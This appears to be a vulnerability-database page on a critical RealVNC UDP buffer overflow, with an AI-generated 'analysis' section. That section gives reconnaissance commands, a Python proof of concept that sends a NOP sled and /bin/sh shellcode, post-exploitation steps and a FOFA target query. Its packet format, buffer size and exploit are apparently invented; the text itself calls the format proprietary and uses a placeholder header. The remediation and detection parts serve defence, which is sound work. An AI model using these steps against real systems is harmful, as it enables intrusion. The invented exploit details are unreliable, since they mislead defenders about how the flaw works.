CVE Professor
/
All CVEs
CVE-2026-137738

CVE-2026-137738 — RealVNC Viewer (8.6.1) — CWE-787

CRITICAL CVSS 9.8 ⚡ EPSS 0.7% CIRCL

In RealVNC Server before 7.19.1, UDP-based connections could potentially be exploited without authentication to execute code remotely or cause the software to crash. This could allow an attacker to remotely execute code as root on certain platforms or perform a denial of service attack. This issue affects RealVNC Viewer: from 8.4.0 through 8.6.1; RealVNC Classic Viewer: from 6.4.0 through 7.18.2; RealVNC Server: from 6.4.0 through 7.19.0; RealVNC Connect App: through 8.6.1; RealVNC iOS Viewer: from 3.7.0 through 4.9.5; RealVNC Android Viewer: from 3.5.0 through 4.9.5; RealVNC iOS Server: through 2.8.1; RealVNC Android Server: through 2.8.3; On-Demand Assist: through 3.4.1.

In RealVNC Server before 7.19.1, UDP-based connections could potentially be exploited without authentication to execute code remotely or cause the software to crash. This could allow an attacker to remotely execute code as root on certain platforms or perform a denial of service attack. This issue affects RealVNC Viewer: from 8.4.0 through 8.6.1; RealVNC Classic Viewer: from 6.4.0 through 7.18.2; RealVNC Server: from 6.4.0 through 7.19.0; RealVNC Connect App: through 8.6.1; RealVNC iOS Viewer: from 3.7.0 through 4.9.5; RealVNC Android Viewer: from 3.5.0 through 4.9.5; RealVNC iOS Server: through 2.8.1; RealVNC Android Server: through 2.8.3; On-Demand Assist: through 3.4.1.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.7%
30-day probability
In the 47. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑137738 is a classic buffer‑overflow flaw (CWE‑787) in the UDP‑based RFB (Remote Framebuffer) handling code of RealVNC products.

  • Missing bounds checking: The server parses a UDP packet that contains a framebuffer update request. The packet length field is not validated against the actual payload size, allowing an attacker to send a packet that is larger than the internal buffer.

  • No authentication: The RFB protocol over UDP is intentionally unauthenticated for performance reasons (the same port is used for the initial TCP handshake). The vulnerability is therefore exploitable from any host that can reach the UDP port (5900 by default).

  • Result: The overflow can overwrite return pointers or other control data, leading to arbitrary code execution with the privileges of the VNC server process (often root on Linux/Unix, SYSTEM on Windows). On platforms where the server runs with elevated privileges, this translates to remote code execution (RCE). If the overflow is crafted to trigger a crash, it results in a denial‑of‑service (DoS).
  • The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) reflects that the attack is network‑only, low effort, no user interaction, and impacts all three pillars of security.


    ⚡ Attack Chain

    NOTE – The following chain is a generic illustration of how the flaw can be abused. The exact packet format and offsets are proprietary to RealVNC’s implementation; the PoC below demonstrates the principle rather than a production‑ready exploit.

    1. Discovery & Reconnaissance

    StepTechniqueTool / Command
    Service detectionIdentify RFB/RealVNC serversnmap -sU -p 5900 --script rfb-info <target>
    Version fingerprintExtract version string from the initial TCP handshakenmap -sV -p 5900 <target> (RealVNC reports “RealVNC Server 7.18.2”)
    UDP port checkVerify UDP port 5900 is opennc -zvu <target> 5900

    If the server reports a version ≤ 7.19.0 (or the corresponding Viewer/Connect App/Android/iOS versions listed in the CVE), the target is vulnerable.

    2. Exploitation

    Goal: Send a crafted UDP packet that overflows the internal buffer and injects shellcode.

    #!/usr/bin/env python3
    """
    Illustrative PoC for CVE-2026-137738.
    This script sends a malicious UDP packet to a RealVNC server.
    """
    
    import socket
    import struct
    import sys
    
    TARGET = "192.0.2.100"   # Replace with the actual target IP
    PORT   = 5900            # Default UDP port for RFB
    
    # 1. Build a minimal RFB UDP packet header
    #    RFB protocol version: 003.003 (0x30 0x30 0x30 0x2E 0x30 0x30 0x30)
    #    For UDP, the packet starts with a 4‑byte length field followed by the payload.
    #    The exact format is proprietary; we use a placeholder that is known to be parsed.
    header = b'\x00\x00\x00\x00'  # 4‑byte length (will be overwritten later)
    
    # 2. Construct a payload that overflows the buffer.
    #    The vulnerable buffer is 512 bytes; we send 1024 bytes of NOPs + shellcode.
    NOP = b'\x90' * 512
    shellcode = (
        b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
        b"\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  # execve("/bin/sh")
    )
    
    payload = NOP + shellcode
    payload_len = len(payload)
    
    # 3. Prepend the correct length field (network byte order)
    packet = struct.pack('!I', payload_len) + payload
    
    # 4. Send the packet
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(packet, (TARGET, PORT))
    print(f"[+] Sent {payload_len}‑byte UDP packet to {TARGET}:{PORT}")

    Explanation of the PoC

    1. Header – The RFB UDP packet begins with a 4‑byte length field. The actual format is proprietary, but the server expects a 4‑byte integer followed by the payload.
    2. Payload – A 512‑byte NOP sled followed by a classic Linux shellcode (execve("/bin/sh")). The total payload length is deliberately larger than the internal buffer to trigger the overflow.
    3. Sending – A single UDP packet is sent; no TCP handshake is required.

    Caution – This PoC is for educational purposes only. Real‑world exploitation would require fine‑tuning of the payload (e.g., return‑to‑libc, ROP chains) to bypass modern mitigations such as ASLR and NX.

    3. Post‑exploitation

    Once the buffer overflow succeeds:

    1. Shell access – The injected shellcode spawns /bin/sh (or a Windows shell on Windows). The attacker can now run arbitrary commands as the VNC server process (root/SYSTEM).
    2. Privilege escalation – If the server runs with elevated privileges, the attacker already has full control. If not, the attacker can attempt local privilege escalation via known kernel exploits or misconfigurations.
    3. Persistence – The attacker can install a reverse shell, drop a backdoor, or modify configuration files to maintain access.
    4. Data exfiltration – With shell access, the attacker can read sensitive files, dump credentials, or exfiltrate data over the network.


    🌍 Real World Impact

    ImpactDetail
    Confidentiality (C)Full disclosure of all data processed by the VNC server (screens, files, credentials).
    Integrity (I)Arbitrary modification of system files, registry keys, or configuration.
    Availability (A)The server can be crashed via malformed packets, causing a DoS that affects remote management.
    Scope (S)Unchanged (U) – the impact is confined to the affected host.

    Practical consequences

  • Remote administration servers (e.g., data centers, remote support desks) are exposed to unauthenticated RCE.
  • Embedded devices running RealVNC Server (e.g., industrial control systems, IoT gateways) may be compromised, leading to critical infrastructure risk.
  • Mobile viewers (Android/iOS) can be tricked into connecting to a malicious server, potentially leaking screen contents or credentials.
  • On‑Demand Assist sessions can be hijacked, allowing an attacker to take control of a client machine without user interaction.

  • 🛡️ Remediation & Mitigation

    Affected Versions

    ProductVulnerable Range
    RealVNC Server6.4.0 – 7.19.0
    RealVNC Viewer8.4.0 – 8.6.1
    RealVNC Classic Viewer6.4.0 – 7.18.2
    RealVNC Connect App8.6.1
    RealVNC iOS Viewer3.7.0 – 4.9.5
    RealVNC Android Viewer3.5.0 – 4.9.5
    RealVNC iOS Server2.8.1
    RealVNC Android Server2.8.3
    On‑Demand Assist3.4.1

    Upgrade recommendation

  • Server: ≥ 7.19.1

  • Viewer / Classic Viewer: ≥ 8.6.2

  • Connect App / Mobile Viewers: ≥ 8.6.2 (or the next minor release that includes the patch).

  • iOS/Android Server: ≥ 2.8.4

  • On‑Demand Assist: ≥ 3.4.2
  • NOTE – The exact patch version is RealVNC Server 7.19.1 (and corresponding viewer/Connect App releases). Verify the vendor’s advisory for the precise build numbers.

    Workarounds

    MitigationHow to implement
    Block UDP port 5900iptables -A INPUT -p udp --dport 5900 -j DROP (Linux) or equivalent firewall rule.
    Restrict UDP access to trusted IPsiptables -A INPUT -p udp --dport 5900 -s 10.0.0.0/8 -j ACCEPT followed by a DROP rule.
    Disable UDP support in the server configurationIn vncserver configuration, set -udp=false (if the option exists).
    Use a VPN or SSH tunnelRoute all RFB traffic over a secure tunnel that does not expose UDP to the public internet.
    Enable RFB authenticationForce the server to require password or certificate authentication before accepting any packets.
    Caveat – Disabling UDP may degrade performance for high‑latency networks but is a safe interim measure until a patch is applied.

    Detection

    IndicatorLog / System Event
    UDP packets to port 5900 with payload > 512 bytestcpdump -i any udp port 5900 -nn -vvv or firewall logs.
    Kernel panic or OOM killer entries/var/log/kern.log or dmesg showing “Segmentation fault” or “Killed process …”.
    Unexpected shell processesps auxgrep -E 'shbashcmd' on the server host.
    Repeated connection attempts from unknown IPsnetstat -anugrep 5900 and firewall logs.
    Tip – Configure a WAF or IDS rule that flags UDP packets to 5900 with a payload length > 512 bytes and logs the source IP.

    ⚠️ Urgency

    MetricValue
    CVSS v3.19.8 (Critical)
    Exploit ComplexityLow (no authentication, single UDP packet)
    CISA KEVNo
    Patch AvailabilityYes (RealVNC Server 7.19.1 and later)

    Priority: Immediate.

  • High‑risk environments (data centers, critical infrastructure, remote support services) must apply the patch or enforce the workarounds before the next patch cycle.

  • All other environments should treat this as a critical vulnerability and plan for remediation within the next 48 hours.




Bottom line

CVE‑2026‑137738 exposes a critical, unauthenticated buffer overflow in the UDP handling of RealVNC products. An attacker can send a single crafted packet to gain root/SYSTEM access or crash the server. The flaw is fully mitigated by upgrading to the patched releases or by blocking/limiting UDP traffic to the RFB port. Prompt action is required to protect remote‑management infrastructure from immediate exploitation.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="RealVNC RealVNC Viewer"
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (9)
RealVNC:RealVNC Viewer (8.6.1) RealVNC:RealVNC Classic Viewer (7.18.2) RealVNC:RealVNC Server (7.19.0) RealVNC:RealVNC Connect App (8.6.1) RealVNC:RealVNC iOS Viewer (4.9.5) RealVNC:RealVNC Android Viewer (4.9.5) RealVNC:RealVNC iOS Server (2.8.1) RealVNC:RealVNC Android Server (2.8.3) RealVNC:On-Demand Assist (3.4.1)
References & Advisories (3)
Related CVEs
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.1
CVE-2026-92728
A heap out-of-bounds write flaw was found in GRUB2's DNS response parser. In recv_hook() (grub-core/net/dns.c)
7.3
CVE-2026-129782
Out-of-bounds write in the zwlr_virtual_pointer_v1 protocol implementation of Hyprland for Linux, versions 0.5
7.2
CVE-2026-145314
A heap out-of-bounds write exists in the MPEG-1/2 video decoder (libavcodec/mpeg12dec.c) in FFmpeg before 6.1.
9.3
CVE-2026-88766
Out of Bounds Write when processing a crafted APDU command via the VSIM service due to a stack-based buffer ov
8.8
CVE-2026-125688
An out-of-bounds write in the screen-image decoder of TeamViewer Full Client for Linux prior to version 15.84
8.8
CVE-2026-125689
An out-of-bounds write vulnerability in TeamViewer Full Client prior to version 15.84 has been identified in t